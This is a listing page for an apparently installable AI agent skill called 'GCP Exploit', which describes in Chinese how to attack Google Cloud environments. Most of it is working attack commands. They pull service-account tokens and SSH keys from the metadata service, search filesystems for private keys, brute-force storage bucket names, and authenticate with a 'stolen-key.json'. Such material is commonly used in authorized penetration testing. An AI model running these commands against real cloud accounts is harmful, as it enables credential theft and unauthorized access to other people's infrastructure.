Skills

GCP Exploit

GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket...

Install

npx skills add wgpsec/AboutSecurity --skill gcp-exploit -g -a claude-code -y
Repository
wgpsec/AboutSecurity1.8k
Category
DevOps
Updated
11d ago
License
See repository
Context cost
Lightabout 1,312 tokens
Runs scripts
No, instructions only

What it does

GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举

GCP 云环境攻击方法论

与 AWS 的区别:GCP 的 IAM 继承模型 + Service Account 密钥机制 = 独特的攻击路径

⛔ 深入参考


Phase 1: 初始访问与信息收集

1.1 Metadata 服务利用(SSRF → GCP 凭据)

# GCP Metadata 端点(需要 Metadata-Flavor header,但不需要 AWS IMDSv2 式 token)
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/

# 获取 Service Account Token
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# 获取项目信息
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# 获取实例属性(可能含敏感配置)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

# SSH 密钥(如果在 metadata 中配置)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"

1.2 Service Account 密钥发现

# 搜索泄露的 SA 密钥(JSON 格式)
grep -r "private_key_id" /path/to/code/
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \;

# 常见位置
# ~/.config/gcloud/
# /root/.config/gcloud/application_default_credentials.json
# 环境变量: GOOGLE_APPLICATION_CREDENTIALS
# Kubernetes Secrets: /var/run/secrets/...
# GitHub/GitLab 泄露

1.3 Bucket 枚举

# 公开 Bucket 探测
# GCP Bucket URL 格式:
# https://storage.googleapis.com/BUCKET_NAME
# gs://BUCKET_NAME

# 常见命名模式探测
for prefix in target target-prod target-dev target-backup target-assets; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix")
  echo "$prefix: $status"
done

# 使用 GCPBucketBrute
python3 gcpbucketbrute.py -k target -o results.txt

Phase 2: 认证与权限确认

# 使用窃取的 SA 密钥认证
gcloud auth activate-service-account --key-file=stolen-key.json
Read the whole SKILL.md on GitHub

More in DevOps